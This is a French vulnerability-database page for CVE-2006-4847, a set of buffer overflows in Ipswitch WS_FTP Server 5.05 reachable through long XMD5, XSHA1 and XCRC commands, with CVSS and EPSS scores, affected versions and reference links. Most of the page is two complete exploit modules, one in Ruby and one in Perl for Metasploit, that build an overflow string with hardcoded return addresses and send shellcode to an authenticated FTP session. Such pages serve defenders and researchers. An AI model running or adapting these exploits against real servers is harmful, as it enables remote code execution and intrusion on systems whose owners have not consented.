CVE-2006-4847 : Détail

CVE-2006-4847

90.2%V4
Network
2006-09-18
23h00 +00:00
2017-07-19
13h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Multiple buffer overflows in Ipswitch WS_FTP Server 5.05 before Hotfix 1 allow remote authenticated users to execute arbitrary code via long (1) XCRC, (2) XSHA1, or (3) XMD5 commands.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 16717

Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: wsftp_server_505_xmd5.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow', 'Description' => %q{ This module exploits a buffer overflow in the XMD5 verb in IPSWITCH WS_FTP Server 5.05. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2006-4847' ], [ 'OSVDB', '28939' ], [ 'BID', '20076' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 300, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ], ], 'DisclosureDate' => 'Sep 14 2006', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /WS_FTP Server 5.0.5/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying target #{target.name}...") sploit = rand_text_alphanumeric(676, payload_badchars) sploit << [target.ret].pack('V') + payload.encoded send_cmd( ['XMD5', sploit] , false) handler disconnect end end
Exploit Database EDB-ID : 3335

Date de publication : 2007-02-18 23h00 +00:00
Auteur : Jacopo Cervini
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::wsftp_server_505_xmd5; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'WS-FTP Server 5.05 XMD5 Overflow', 'Version' => '$Revision: 1.0 $', 'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ], 'Priv' => 0, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 21], 'SSL' => [0, 'BOOL', 'Use SSL'], 'USER' => [1, 'DATA', 'Username', 'ftp'], 'PASS' => [1, 'DATA', 'Password', 'ftp'], }, 'Payload' => { 'Space' => 329, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'Keys' => ['+ws2ord'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits the buffer overflow found in the XMD command in IPSWITCH WS_FTP Server 5.05. }), 'Refs' => [ ['BID', '20076'], [ 'CVE', '2006-4847' ], ], 'DefaultTarget' => 0, 'Targets' => [ ['WS-FTP Server 5.05 Universal', 0x1002e636 ], # push esp, ret in LIBEAY32.dll ], 'Keys' => ['wsftp'], 'DisclosureDate' => 'Sep 14 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; if (! $self->InitNops(128)) { $self->PrintLine("[*] Failed to initialize the NOP module."); return; } my $request = Pex::Text::PatternCreate(676); $request .= pack("V", $target->[1]); $request .= $shellcode; my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } my $r = $s->RecvLineMulti(20); if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; } $self->Print($r); $s->Send("USER ".$self->GetVar('USER')."\n"); $r = $s->RecvLineMulti(10); if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; } $self->Print($r); $s->Send("PASS ".$self->GetVar('PASS')."\n"); $r = $s->RecvLineMulti(10); if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; } $self->Print($r); $self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'..."); $s->Send("XMD5 $request\n"); $r = $s->RecvLineMulti(10); if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; } $self->Print($r); sleep(2); return; } # milw0rm.com [2007-02-19]

Products Mentioned

Configuraton 0

Ipswitch>>Ws_ftp_server >> Version 1.0.1eval

    Ipswitch>>Ws_ftp_server >> Version 1.0.2eval

      Ipswitch>>Ws_ftp_server >> Version 3.0_1

        Ipswitch>>Ws_ftp_server >> Version 4.01

          Ipswitch>>Ws_ftp_server >> Version 5.02

            Ipswitch>>Ws_ftp_server >> Version 5.03

              Progress>>Ws_ftp_server >> Version To (including) 5.05

              Progress>>Ws_ftp_server >> Version 1.0.1

              Progress>>Ws_ftp_server >> Version 1.0.1.e

              Progress>>Ws_ftp_server >> Version 1.0.2

              Progress>>Ws_ftp_server >> Version 1.0.2.e

              Progress>>Ws_ftp_server >> Version 1.0.3

              Progress>>Ws_ftp_server >> Version 1.0.4

              Progress>>Ws_ftp_server >> Version 1.0.5

              Progress>>Ws_ftp_server >> Version 2.0

              Progress>>Ws_ftp_server >> Version 2.0.1

              Progress>>Ws_ftp_server >> Version 2.0.2

              Progress>>Ws_ftp_server >> Version 2.0.3

              Progress>>Ws_ftp_server >> Version 2.0.4

              Progress>>Ws_ftp_server >> Version 3.0

              Progress>>Ws_ftp_server >> Version 3.1

              Progress>>Ws_ftp_server >> Version 3.1.1

              Progress>>Ws_ftp_server >> Version 3.1.2

              Progress>>Ws_ftp_server >> Version 3.1.3

              Progress>>Ws_ftp_server >> Version 3.4

              Progress>>Ws_ftp_server >> Version 4.0

              Progress>>Ws_ftp_server >> Version 4.0.2

              Références

              http://secunia.com/advisories/21932
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://www.vupen.com/english/advisories/2006/3655
              Tags : vdb-entry, x_refsource_VUPEN
              http://www.osvdb.org/28939
              Tags : vdb-entry, x_refsource_OSVDB
              http://www.securityfocus.com/bid/20076
              Tags : vdb-entry, x_refsource_BID
              Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.